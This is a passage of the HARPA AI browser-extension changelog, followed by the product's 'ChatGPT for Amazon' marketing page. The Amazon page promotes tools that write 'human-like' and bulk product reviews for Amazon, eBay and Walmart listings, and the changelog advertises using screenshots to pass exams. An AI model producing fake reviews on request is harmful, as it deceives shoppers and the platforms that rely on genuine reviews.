KEY** * Connect your own Anthropic API key directly to HARPA. **NEW AI MODELS** * Added Claude Opus 4.5 to CloudGPT and web session. * Added Gemini 3 Pro Preview. * Added GPT-5.1 model. **NEW FEATURES** * New "Retry" button to regenerate AI responses. * New /compact command for conversation compacting. **UI IMPROVEMENTS** * New card-based Models selection tab with responsive grid layout. * Simplified "Add Connection" cards. [\#](https://harpa.ai/blog/harpa-changelog#11.4-claude-extended-thinking) 11.4 Claude Extended Thinking -------------------------------------------------------------------------------------------------------- **CLAUDE EXTENDED THINKING** * Claude AI models now support extended thinking mode with visible reasoning sections. **NEW MODELS** * New Google Gemini models added. [\#](https://harpa.ai/blog/harpa-changelog#11.3-gpt-5,-o3-models-&-chatgpt-teams) 11.3 GPT-5, o3 Models & ChatGPT Teams ------------------------------------------------------------------------------------------------------------------------ **AI MODEL UPGRADES** * Integrated GPT-5 and o3 models as default connections for HARPA AI CloudGPT Connection. * Added o3-mini model support for cost-effective processing. * Added support for Claude 4.1 models. **CHATGPT TEAMS SUPPORT** * Full support for ChatGPT Teams functionality, enabling collaborative AI usage within organizations. **CONTEXT & FILE HANDLING** * New ChatGPT context button for file uploads with loading indicators. * Better international text support. [\#](https://harpa.ai/blog/harpa-changelog#11.2.3-performance-&-stability) 11.2.3 Performance & Stability ---------------------------------------------------------------------------------------------------------- **PERFORMANCE IMPROVEMENTS** * Enhanced data persistence and recovery. * Better error handling and recovery mechanisms. [\#](https://harpa.ai/blog/harpa-changelog#11.2-grid-api-&-statistics-system) 11.2 GRID API & Statistics System ---------------------------------------------------------------------------------------------------------------- **GRID API ENHANCEMENTS** * New "Run AI Prompt" functionality in GRID API for advanced automation. * Enhanced validation, error handling, and endpoint optimization. * Improved controller optimization for better performance. **FEEDBACK SYSTEM** * Enhanced uninstall feedback page for user insights. **UI/UX IMPROVEMENTS** * Fixed YouTube summary URL handling and transcript fetching. * Improved alert styles and UI element positioning. * Enhanced dark/light theme support with better theme switching. * Fixed input responsiveness and explorer button interactions. [\#](https://harpa.ai/blog/harpa-changelog#11.1-connection-&-command-updates) 11.1 Connection & Command Updates ---------------------------------------------------------------------------------------------------------------- **CONNECTION IMPROVEMENTS** * Fixed connection issues and improved stability. * Better token credit calculations for thinking modes. * Improved API connection handling. **COMMAND ENHANCEMENTS** * Updated YouTube video summary command. * Increased command size limit to 20MB. * Improved command validation and error handling. [\#](https://harpa.ai/blog/harpa-changelog#11.0-thinking-mode-&-perplexity-integration) 11.0 Thinking Mode & Perplexity Integration ------------------------------------------------------------------------------------------------------------------------------------ **THINKING MODE** * Added "Think" button for reasoning models. * Support for thinking/reasoning modes in AI responses. * Enhanced token calculations for thinking modes. **PERPLEXITY INTEGRATION** * Full Perplexity API integration with Pro and Deep Research models. * Perplexity search context and citation rendering. * Links rendering and improved tokenizer for Perplexity. [\#](https://harpa.ai/blog/harpa-changelog#10.9-advanced-model-support) 10.9 Advanced Model Support ---------------------------------------------------------------------------------------------------- **NEW MODEL INTEGRATIONS** * Groq Llama models support including versatile variants. * Gemini models support via API. **GLOBAL PARAMETERS** * New global parameters editor in Settings Tab. * Global parameters tooltips for better understanding. * Easier parameter management. [\#](https://harpa.ai/blog/harpa-changelog#10.8-youtube-poi-&-context-menu) 10.8 YouTube POI & Context Menu ------------------------------------------------------------------------------------------------------------ **YOUTUBE ENHANCEMENTS** * YouTube Points of Interest (POI) - see video highlights on timeline. * Improved YouTube transcript fetching. * Fixed YouTube compatibility issues. **CONTEXT MENU IMPROVEMENTS** * New context menu options and summarize embedded buttons. * Fixed context menu rendering issues. * Enhanced context menu for various websites. [\#](https://harpa.ai/blog/harpa-changelog#10.7-pdf-support-&-file-handling) 10.7 PDF Support & File Handling -------------------------------------------------------------------------------------------------------------- **PDF SUPPORT** * Full PDF file support with drag & drop functionality. * PDF rendering in chat history and attachments. * PDF summary command for document processing. * PDF content insertion into prompts. * PDF validation with clear error messages. * Use PDFs as context in your conversations. **FILE TYPE SUPPORT** * Added DOCX to HTML conversion using Mammoth.js. * XLSX file support for spreadsheet processing. * Support for text file types (text/plain, text/csv, etc.). * Better file type recognition. **ATTACHMENTS SYSTEM** * New attachment view with improved UI. * Better attachment handling during command execution. * Enhanced file validation and upload process. * New "Add files" button in chat. * Attachments stay available across chat sessions. [\#](https://harpa.ai/blog/harpa-changelog#10.6-ai-agent-updates-&-models) 10.6 AI Agent Updates & Models ---------------------------------------------------------------------------------------------------------- **AI AGENTS OPTIMIZATION** * Renamed and optimized agent models. * Smart Agent now default over Fast Agent. * Deprecated Fast Agent in favor of improved models. **MODEL UPDATES** * Claude 3.7 web session connection fix. * Removed deprecated Sonnet 2.1 and Opus3. * Optimized model usage for cost efficiency. [\#](https://harpa.ai/blog/harpa-changelog#10.5-email-&-automation-features) 10.5 Email & Automation Features -------------------------------------------------------------------------------------------------------------- **EMAIL FEATURES** * Draft email replies support for Outlook. * Better email handling and formatting. **AUTOMATION IMPROVEMENTS** * Daily autoblogging guide for WordPress. * WordPress post automation fixes. * Zapier integration enhancements. * Fixed GRID panel display issues. [\#](https://harpa.ai/blog/harpa-changelog#10.4-ui-modernization) 10.4 UI Modernization ---------------------------------------------------------------------------------------- **CHAT UI IMPROVEMENTS** * New chat action bar with better controls. * Improved attachments rendering in input. * Updated page attachment view. [\#](https://harpa.ai/blog/harpa-changelog#10.3-connection-management) 10.3 Connection Management -------------------------------------------------------------------------------------------------- **CONNECTION FEATURES** * HARPA OpenAI API update. * HARPA Anthropic API support with thinking modes. * Connection icons for better visualization. **SPACE CONNECTIONS** * Improved space connection handling. * Enhanced connection validation. * Fixed space switching issues. **WEBSITE COMPATIBILITY** * Fixed Google Docs compatibility. * Fixed Notion.so compatibility. [\#](https://harpa.ai/blog/harpa-changelog#10.2-performance-&-optimization) 10.2 Performance & Optimization ------------------------------------------------------------------------------------------------------------ **PERFORMANCE IMPROVEMENTS** * Better handling of PDFs in chat history. * Improved website compatibility. * Fixed CloudGPT connection errors. **COMMAND IMPROVEMENTS** * Better PDF processing in commands. * Improved attachment handling. * Fixed scheduled AI commands. * Enhanced command reliability. [\#](https://harpa.ai/blog/harpa-changelog#10.1-grid-guides-&-documentation) 10.1 Grid Guides & Documentation -------------------------------------------------------------------------------------------------------------- **GRID DOCUMENTATION** * Multi-language Grid guides (IT/PT/ES). * Zapier WordPress webhook guide. * No-cost WordPress blog automation guide. * Grid REST API reference updates. **INTEGRATION GUIDES** * Zapier integration documentation. * WordPress integration improvements. [\#](https://harpa.ai/blog/harpa-changelog#10.0-major-platform-updates) 10.0 Major Platform Updates ---------------------------------------------------------------------------------------------------- **NOTIFICATION SYSTEM** * New in-app notification system. * Update notifications with better user experience. **PLATFORM IMPROVEMENTS** * Better error handling for CloudGPT. * Improved extension stability and compatibility. * Enhanced security and privacy protection. [\#](https://harpa.ai/blog/harpa-changelog#9.9-new-models) 9.9 New Models -------------------------------------------------------------------------- **MODEL ADDITIONS** * Llama 4 models support. * Sonnet 4 model integration. [\#](https://harpa.ai/blog/harpa-changelog#9.8-cloudgpt:-deepseek-+-llama) 9.8 CloudGPT: DeepSeek + Llama ---------------------------------------------------------------------------------------------------------- **CLOUDGPT ENHANCEMENTS** * DeepSeek R1 and V3 models support, hosted in the United States. * Llama 3.3 models integration. * Data privacy ensured - no logging or training on user data. **YOUTUBE IMPROVEMENTS** * Enhanced YouTube transcript API. * Improved YouTube video summaries. * Better transcript caching and details fetching. [\#](https://harpa.ai/blog/harpa-changelog#9.7-pdf-support) 9.7 PDF Support ---------------------------------------------------------------------------- * HARPA now lets you use PDFs from both the web and your computer's storage. * You can drag and drop any PDF file from your computer to: use it for context in your prompts, create summaries or ask questions. [\#](https://harpa.ai/blog/harpa-changelog#v9.6.2-cloudgpt-4o-mini-optimization) v9.6.2 CLOUDGPT 4o-mini Optimization ---------------------------------------------------------------------------------------------------------------------- **CLOUDGPT 4O-MINI FIX** * CloudGPT 4o-mini connection now uses about 3 times fewer AI tokens and fully matches the pricing of other OpenAI Models, allowing you to use your AI tokens longer. **DEEPSEEK API SUPPORT** * DeepSeek V3 is a cost-effective alternative to GPT-4, Claude 3.5 Sonnet and Haiku. You can connect it to HARPA now - see the guide here: [Connecting HARPA to DeepSeek API](https://harpa.ai/blog/connecting-harpa-to-deepseek-api) . * Other DeepSeek models, including R1 with reasoning capabilities, can also be connected following the instructions. Remember to update the chat model name in settings according to DeepSeek's LLM [integration instructions](https://api-docs.deepseek.com/quick_start/pricing) . **BUG FIXES** * Bug fixes and improvements, including fixed square bracket rendering, iframe blocking problems, SMTP email sending & more. [\#](https://harpa.ai/blog/harpa-changelog#v9.6-grid-api-&-connections-sync) v9.6 GRID API & Connections Sync -------------------------------------------------------------------------------------------------------------- **HARPA GRID API** * With HARPA GRID API you can connect your Web Browser to a variety of services, such as Google Sheets, Wordpress, GMail, to automate workflows and data processing. * GRID complements existing business processes and systems (CRMs, ERPs) and can be integrated in minutes via IFTTT systems (Zapier, Make.com/Integromat, n8n, Microsoft Power Automate, Workato, UiPath) or through its fast, easy-to-use REST API. * Learn more: [https://harpa.ai/grid/web-automation](https://harpa.ai/grid/web-automation) **CONNECTIONS SYNC** * Your API and CloudGPT connections settings are now stored in the cloud. * When you activate a new device or browser, or reinstall HARPA AI, your API keys and CloudGPT settings will automatically restore. **TEAM SPACE CONNECTIONS** * CloudGPT and API connections are shared with every space member. Only the space owner can modify them. This makes teamwork easier and helps control AI token usage, system prompts and more. [\#](https://harpa.ai/blog/harpa-changelog#v9.5-automation-library) v9.5 Automation Library -------------------------------------------------------------------------------------------- Easily share your AI-powered web automations with others, either via direct links or publicly in the [AI Automations Library](https://harpa.ai/library) . **LIBRARY** * Grab helpful AI commands and Web automations from the Library. * Publish your commands to the Library. **IMPROVEMENTS** * Support for a new {{thread}} parameter to facilitate Telegram, Discord, WhatsApp, Reddit, YouTube, Facebook and Twitter commands and automations. * Bugs fixes and improvements. [\#](https://harpa.ai/blog/harpa-changelog#v9.4-side-panel) v9.4 Side Panel ---------------------------------------------------------------------------- HARPA can now be rendered in a SidePanel. SidePanel does not obstruct website content and persists HARPA window across navigations. **SIDE PANEL** * Optionally switch HARPA UI to the SidePanel view. [\#](https://harpa.ai/blog/harpa-changelog#v9.3-command-sharing) v9.3 Command Sharing -------------------------------------------------------------------------------------- Commands can now be shared publicly from the Command editor. **COMMAND SHARING** * Share AI commands and prompts with a few clicks. **BUG FIXES** * Bugs fixes and improvements, including fixed LaTeX rendering, autolabel fix, optimized chat storage and more. [\#](https://harpa.ai/blog/harpa-changelog#v9.2-chat-cloud-backup) v9.2 Chat Cloud Backup ------------------------------------------------------------------------------------------ Chats can now be backed up to secure HARPA cloud and synced across devices, while Vision support has been added to the API keys connection. **CHAT CLOUD BACKUP** * Backup your custom commands to the cloud and synch across devices. * To enable this feature, remember to turn on the "Backup chats to the cloud" option in HARPA Settings. * Chats are stored per Account and never shared. **VISION COMMANDS** * 20+ AI commands redesigned to support visual area grabbing. **API KEY CONNECTION VISION SUPPORT** * API Key connections now support AI Vision features. To get started, make sure that your chosen LLM supports AI Vision to avoid errors. * Both OpenAI API keys and other providers, such as OpenRouter, are supported. [\#](https://harpa.ai/blog/harpa-changelog#v9.0-ai-vision) v9.0 AI Vision -------------------------------------------------------------------------- Press _Alt+V (^V on Mac)_ and capture area on webpage: answer questions, find and fix mistakes, explain, summarize, translate, pass exams, finish writing, refine emails and much more. Keep in mind that Vision features only work with LLMs that support image processing. * **AI VISION** HARPA supports [AI Vision features](https://harpa.ai/guides/ai-vision-features) both over ChatGPT web session and CloudGPT connections. * **IMAGE UPLOAD** Drag & drop any image from your PC to chat. * **CAPTURE VIEW COMMAND** * Press Alt+V on Windows or ^V on Mac to capture and send screenshots to AI. * [Capture View command](https://harpa.ai/guides/ai-vision-features) allows fixing mistakes, solving tests, extracting text, translating, explaining and answering questions in images. * **VIEW PARAMETER** New **{{view}}** parameter allows attaching page screenshot in AI commands. * **TONE PARAMETER** * Declare how AI should mimic your writing to improve quality of generated emails and messages. * Tone affects the style of AI Responses in commands like /Reply, /Rewrite, /Finish writing and more. * You can change the {{tone}} at any time in settings or by using the /Set tone or /Setup commands. ![](https://harpa.ai/img/blog/changelog-9-0-1.webp) * **GPT 4O MINI** Added support for GPT 4o Mini both in Web Session and CloudGPT connections. [\#](https://harpa.ai/blog/harpa-changelog#v8.10-dynamic-parameters) v8.10 Dynamic Parameters ---------------------------------------------------------------------------------------------- Use {{dynamic}} parameters in your automations. Commands improved. Integrated Claude 3.5 Sonnet. * **DYNAMIC PARAMETERS** HARPA supports {{dynamic}} parameter names in automations for complex workflows. * **SEEK TIMESTAMPS IN VIDEOS** **/Ask** command now reports YouTube timestamps, to references where the question was answered. ![](https://harpa.ai/img/blog/changelog-8-10-1.webp) * **SUMMARY FOLLOW-UPS** **/Summary** command now lists follow-up questions, saving time on research. * **CLAUDE 3.5 SONNET** Claude 3.5 Sonnet beats most AI model benchmarks while being faster. The model is available for Web Session, and Cloud GPT. [\#](https://harpa.ai/blog/harpa-changelog#v8.9.1-command-hotkeys-+-app-shortcuts) v8.9.1 Command Hotkeys + App Shortcuts -------------------------------------------------------------------------------------------------------------------------- * **COMMAND HOTKEYS** Call HARPA by pressing slash / twice, followed by a [command hotkey](https://harpa.ai/guides/quick-access-bar#command-hotkeys) : S for Search, E for Explain and F for finish writing etc. It works on selected text, input boxes, or any webpage you visit. * **APP SHORTCUTS** ![](https://harpa.ai/img/blog/changelog-8-9-1.webp) You can customize these shortcuts in the app settings: Click in the input with the current key combination, then press a new modifier and a key Reset the values to default clicking the RESET button. [\#](https://harpa.ai/blog/harpa-changelog#v8.9-function-calling) v8.9 Function Calling ---------------------------------------------------------------------------------------- * **FUNCTION CALLING** * [Functions](https://harpa.ai/guides/function-calling) are now available for OpenAI API and Cloud GPT connections, allowing you to instruct AI to make decisions and create complex custom AI agents. * Function declarations follow the [OpenAI function specifications](https://platform.openai.com/docs/guides/function-calling) . * In HARPA, you can declare functions in the GPT step. The function can be selected based on the input you provided within that step. * **PAGE SHERLOCK** The new **/Page Sherlock** command performs quick SEO analysis, extracts web page metadata, checks for typical SEO problem such as broken links, missing attributes and headings, measures page loading time and resource size. Analysis can be downloaded as JSON and inspected further. [\#](https://harpa.ai/blog/harpa-changelog#v8.8-ai-agents) v8.8 AI Agents -------------------------------------------------------------------------- * **AI AGENTS** We have added **Fast & Smart AI Agents** as premium GPT-based AI connections. Agents can search the web, analyze webpages, and launch commands for you. * **Fast AI Agent** is powered by cost-effective GPT-3.5, and is great for most tasks, handles user requests quickly and affordably. * **Smart AI Agent** is powered by new and smart GPT-4o connection. It's better handles tasks requiring in-depth analysis. To try new agent, change your connection to a Fast AI Agent by clicking the connections switch in the bottom left corner. - Ask any question, like what the weather is like in your city today, then HARPA will perform a web search for you. - If reading an article, ask to create a summary and HARPA will run the /summarize command automatically. Currently, the summary, research, explain, repurpose, extract and help commands are supported. Additionally, the agent automatically performs web search and webpage analysis when needed. * **GPT-4O CONNECTION** PT-4o was added to CLOUD GPT, API Keys and Web Session Connection. GPT-4o model is twice as fast and half the cost of GPT-4. Note the GPT-4o web session connection is rate limited by OpenAI. [\#](https://harpa.ai/blog/harpa-changelog#v8.7-gpt-4o) v8.7 GPT-4o -------------------------------------------------------------------- * **YOUTUBE POI** /youtube-summary command overlays video timelines with video content summaries. * **GPT-4O CONNECTION** PT-4o was added to CLOUD GPT, API Keys and Web Session Connection. GPT-4o model is twice as fast and half the cost of GPT-4. Note the GPT-4o web session connection is rate limited by OpenAI. [\#](https://harpa.ai/blog/harpa-changelog#v8.6-grab,-echo,-manifest-v3) v8.6 Grab, Echo, Manifest v3 ------------------------------------------------------------------------------------------------------ * **MANIFEST V3** HARPA has been updated to comply with Google's latest requirements, including the implementation of **[Manifest v3](https://developer.chrome.com/docs/extensions/develop/migrate/what-is-mv3) **. This update ensures that data processing and security standards are up to date. * **ECHO PARAMETERS IN CHAT** Write a {{parameter}} in chat and press Alt+Enter (or ⌥ +Enter), to get the parameter value. * **GRAB PARAMETER** Allows you to take value of an HTML element from a web page, whether it's an h1, body, or href, for example: **{{grab h1 take=className}}**. The **take** argument specifies data to extract. **[Read more about parameters](https://harpa.ai/chatml/parameters) **. [\#](https://harpa.ai/blog/harpa-changelog#v8.5-ai-commands-scheduling) v8.5 AI Commands Scheduling ---------------------------------------------------------------------------------------------------- AI Commands can now be scheduled and run on timer in background. HARPA now shows summaries on top of the YouTube video timelines as you hover over them. Summarization quality has been improved on CloudGPT connection. * **AI COMMAND SCHEDULING** AI commands can now be scheduled in Automation tab. HARPA will run your custom AI command at specific intervals. * **PREFILL STEP** New prefill step allows you to prefill the input field with a value before sending a prompt. * **CHAT BOOKMARKING** Click chat emoji to pin it to the top. Bookmarking a chat keeps it visible and prevents accidental deletion. * **GMAIL AUTOLABEL** Use /autolabel-gmail command to quickly go through your emails, categorise and assign labels. * **JS STEP TIMEOUT** RUN JS step now has a timeout option. Set a maximum time to execute long running scripts. * **EXPLAIN & ASK FOLLOW-UPS** Explain and Ask commands now feature auto-generated quick follow-up questions. * **API CONNECTION HEADERS** Point HARPA to your local AI model by setting custom headers in API connection. * **CHATGPT CONNECTION FIX** Free ChatGPT Web Session connection has been re-implemented and restored for the new communication protocol. [\#](https://harpa.ai/blog/harpa-changelog#v8.4-search-agent-v2) v8.4 Search Agent v2 -------------------------------------------------------------------------------------- Updated Search Agent command, new CloudGPT options, bug fixes & more. * **SEARCH AGENT v2** It is now twice as fast and smarter, efficiently crawling web pages and YouTube transcripts to extract relevant content. Added dynamic options for follow-up questions that work in one click. * **CLAUDE AI IN CLOUD GPT** Switch to Claude AI Haiku, Sonnet or Opus models in your CloudGPT connection. * **STEP CONDITIONS UPDATE** Now you can add multiple conditions to run a custom command step, for example: {{start-menu}} = quick {{start-menu}} = detailed [\#](https://harpa.ai/blog/harpa-changelog#v8.3-email-assistant) v8.3 Email Assistant -------------------------------------------------------------------------------------- Embedded buttons for Gmail, new Finish Writing command, custom commands testing functionality and more. * **FINISH WRITING COMMAND** Streamlining email, reply, and comment generation. Draft a simple reply in any web page and expand it to a finished reply. * **GMAIL BUTTONS** Embedded buttons in Gmail UI: _Summarize_ and _Finish Writing_ * **ISOLATED MODE** Token usage on Cloud GPT connection has been optimized. * **NEW PARAMETERS** _{{email}}_ parameter for parsing email content from Gmail, Outlook, Protonmail, and Fastmail. _{{input}}_ parameter for the content of the input box. * **UPDATED PASTE STEP** HARPA can now simulate typing or replace the text in the input box. [\#](https://harpa.ai/blog/harpa-changelog#v8.1-cloudgpt) v8.1 CloudGPT ------------------------------------------------------------------------ HARPA v8.1 brings [CloudGPT](https://harpa.ai/pricing) , a fast and reliable Large Language Model connection. * **CLOUD GPT** Switch to CloudGPT 3.5 or 4 model in the Connections tab. Billed per token usage. * **CLONING API CONNECTIONS** Set up multiple [API KEY connections](https://harpa.ai/blog/how-to-get-an-openai-api-key) to quickly switch between different API keys. * **CLAUDE AI 3 MODELS** Support for new paid and free Claude 3 models: Opus, Sonnet, Haiku. [\#](https://harpa.ai/blog/harpa-changelog#v8.0-premium-features) v8.0 Premium Features ---------------------------------------------------------------------------------------- HARPA v8.0 brings the first set of premium features, [HARPA X and HARPA S plans](https://harpa.ai/pricing) . * **COMMANDS CUSTOMIZATION** Predefined commands can now be cloned, edited and customized. * **CHAT HISTORY** Chat history is stored locally. HARPA allows switching and reusing old chats across tabs. * **CLOUD STORAGE** All custom commands are securely stored in the cloud and accessible on any device under your HARPA AI profile. * **TEAM SPACES** Create [spaces for your team](https://harpa.ai/guides/team-spaces) , organization or family and share commands with your space members. [\#](https://harpa.ai/blog/harpa-changelog#v7.3-search-agent-&-gpts) v7.3 Search Agent & GPTs ---------------------------------------------------------------------------------------------- HARPA v7.3 brings custom GPTs, page crawler, deep search agent and a set of new commands. * **UPDATED COMMANDS** Text generation commands now come with embedded search and URL integration options. * **SEARCH AGENT COMMAND** [/search-agent](https://harpa.ai/blog/ai-answers-alongside-google-search) command forms deeply informed search responses, thanks to integrated crawler. * **EXPLAIN COMMAND** /explain command breaks down complex topics and acronyms, researches leads, and pulls data from the web. * **SENTIMENT ANALYSIS COMMAND** /sentiment-analysis command categorizes reviews of a product and provides an overall rating. * **GPTs** ChatGPT+ users now have an access to GPTs directly in HARPA. * **PAGE CRAWLER** {{page}} parameter now supports query, url and limit options, e.g. {{page Connect HARPA to OpenRouter https://harpa.ai limit=10%}} [\#](https://harpa.ai/blog/harpa-changelog#v7.2-reply-tone,-tl;dr,-openrouter) v7.2 Reply tone, TL;DR, OpenRouter ------------------------------------------------------------------------------------------------------------------ HARPA v7.2 brings support for OpenRouter.AI, new commands and /reply tone customization. * **REPLY TONE** Teach AI to reply to emails in your own voice by changing the tone used by [/reply command](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) . * **OPENROUTER CONNECTOR** Connect HARPA to 20+ LLM models including LLAMA, MistralAI, Claude 2.1 API and even Perplexity via [OpenRouter.ai](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) . * **NEW COMMANDS** Added _/tldr_, improved _/summary_, _/rewrite_ and other commands. [\#](https://harpa.ai/blog/harpa-changelog#v7.1-dall%C2%B7e,-claudeai-v2.1,-export) v7.1 DALL·E, ClaudeAI v2.1, Export ----------------------------------------------------------------------------------------------------------------------- HARPA v7.1 brings ChatGPT+ DALL·E, ClaudeAI v2.1, chat EXPORT step, LSI keyword extraction, bug fixes and new commands. * **EXPORT STEP** HARPA can now export extracted data to files with the new EXPORT step. * **LSI KEYWORD EXTRACTION** Added automatic SERP LSI keyword enrichment to [/article-creator](https://harpa.ai/guides/write-text-on-websites-with-ai#generating-an-article-of-unlimited-length) , /outrank-seo-article, /blog-post-writer, /repurpose-text, and [/repurpose-video](https://harpa.ai/guides/write-text-on-websites-with-ai#writing-a-blog-post-based-on-a-webpage-content) . * **NEW COMMANDS** Added _/youtube-channel-analysis_, _/extract-youtube-transcripts_ and _/language-wizard_ for language study. * **DALL·E & CLAUDE AI 2.1** Integrated ChatGPT+ DALL·E for image rendering. Added support for Claude AI 2.1 model. * **CLAUDE AI CONNECTION** Resolved connectivity issues with [Claude AI](https://harpa.ai/blog/claude-ai-connection) . [\#](https://harpa.ai/blog/harpa-changelog#v7.0-web-automation) v7.0 Web Automation ------------------------------------------------------------------------------------ HARPA v7.0 brings over 10 new features for creating AI-powered web automation workflows: new steps, conditions, loops, jumps, choice options and more. * **ASK STEP OPTIONS** You can now declare choice options in your AI commands and build complex multi-step dialogues. * **SERP PARAMETER** Use new [{{serp query}} parameter](https://harpa.ai/blog/google-search-operators-harpa-ai) in chat to search web. * **CALC STEP** * [CALC step](https://harpa.ai/chatml/steps-calc) brings 15+ functions for setting parameters, extracting prices and code blocks from GPT responses. * Utilize regular expressions and work with lists in your custom AI commands. * **GROUPS & LOOPS** * Declare step [groups and loops](https://harpa.ai/chatml/steps-group-loop-jump) to iterate over list variables. * Using loops you can now [build mass-automation](https://harpa.ai/blog/google-search-operators-harpa-ai#google-operators-in-harpa-ai) workflows with HARPA AI. * **WAIT STEP** Instruct HARPA to [wait for a certain amount of time](https://harpa.ai/chatml/steps-wait) , text or element to appear or JS function to resolve, before proceeding to the next step. * **CONDITIONS, LABELS & JUMPS** Control command flow execution with step [conditions and jumps](https://harpa.ai/chatml/conditions-and-jumps) . * **REQUESTS INTERPOLATION** [REQUEST step](https://harpa.ai/chatml/steps-request) URL, Body and Headers are now properly interpolated with parameters. Send data to web APIs such as Zapier, Make.com and n8n, or fetch web pages. * **COMMANDS CLONING** Clone your custom AI commands with a click of a button. * **PARAMETERS UPDATE** [Parameter names](https://harpa.ai/chatml/parameters) updated for brevity: {{selection}}, {{url}}, {{domain}}, {{title}}, {{desc}}, {{transcript}}. * **YOUTUBE SUMMARIZER** Improved [YouTube video summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text#how-to-create-youtube-video-summaries) command and format. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/harpa-ai-promocode-discount-sale) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/summarize-threads-and-conversations) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Amazon [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/amazon-dark.svg) ChatGPT for Amazon ================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-amazon#chatgpt-for-amazon)  ChatGPT for Amazon ------------------------------------------------------------------------------------ HARPA AI seamlessly blends ChatGPT with your Amazon seller / consumer experience, bringing AI-powered efficiency to your digital storefront. With ChatGPT for Amazon, optimize your product listings with engaging titles and descriptions, stay ahead with price monitoring, and create compelling content that converts. ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/amazon-dark.svg) Product review writer Create human-like customer reviews for any product or service on Amazon / eBay / Walmart, etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/amazon-dark.svg) Bulk review agent Writes product reviews on Amazon / EBay / Walmart etc. in a set tone for a given product links. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/amazon-dark.svg) SEO-friendly product description Write optimized product description based on a list of product features. For the best results provide as much info as possible and include SEO keywords. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/amazon-dark.svg) E-Commerce product description Create a rich product description and title for your e-commerce product. Perfect for e-commerce products on Amazon, AliExpress, Jet.com etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/amazon-dark.svg) Customer review responses writer Get friendly responses to a list of customer reviews, which you can use on Google, Yelp, etc. Organizes your responses nicely in a table so you can copy and paste them easily. [USE COMMAND](https://get.harpa.ai/) Dive into the suite of features designed to elevate your Amazon presence: ### [##](https://harpa.ai/case/chatgpt-for-amazon#ai-driven-product-titles-and-descriptions)  AI-Driven Product Titles and Descriptions Create standout product titles and descriptions that capture attention and drive sales. HARPA AI's integration enables you to leverage ChatGPT's advanced capabilities to produce unique and SEO-optimized content for your Amazon products. ### [##](https://harpa.ai/case/chatgpt-for-amazon#price-monitoring)  Price Monitoring Stay competitive with real-time price monitoring. Get instant alerts for price changes, discounts, and stock updates, ensuring you never miss an opportunity to optimize your pricing strategy. ### [##](https://harpa.ai/case/chatgpt-for-amazon#hashtag-generator-for-social-media)  Hashtag Generator for Social Media Amplify your product's reach on social media with targeted hashtags. Generate up to 30 hashtags that resonate with your audience and boost your product's online visibility. ### [##](https://harpa.ai/case/chatgpt-for-amazon#seo-friendly-product-descriptions)  SEO-friendly Product Descriptions Craft descriptions that not only engage customers but also improve search rankings. Input your product features and keywords to get optimized product descriptions that blend marketing with SEO best practices. ### [##](https://harpa.ai/case/chatgpt-for-amazon#e-commerce-product-description-writer)  E-Commerce Product Description Writer Perfect your e-commerce product narratives for platforms like Amazon, AliExpress, and more. With HARPA AI, produce rich, persuasive product descriptions and titles that can significantly uplift your product's appeal. ### [##](https://harpa.ai/case/chatgpt-for-amazon#customer-review-insights)  Customer Review Insights Harness the power of customer feedback with AI-crafted reviews and testimonials. Use these insights to improve your offerings and bolster your product's credibility. ### [##](https://harpa.ai/case/chatgpt-for-amazon#responsive-customer-review-replies)  Responsive Customer Review Replies Engage with your customer base by generating thoughtful responses to their reviews. Organize and tailor your replies efficiently to enhance customer relations and foster trust. ### [##](https://harpa.ai/case/chatgpt-for-amazon#how-to-use-chatgpt-with-amazon)  How to Use ChatGPT with Amazon To use ChatGPT with Amazon, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Amazon website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/amazon** to HARPA chat to bring a list of ChatGPT prompts for Amazon. ### [##](https://harpa.ai/case/chatgpt-for-amazon#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) 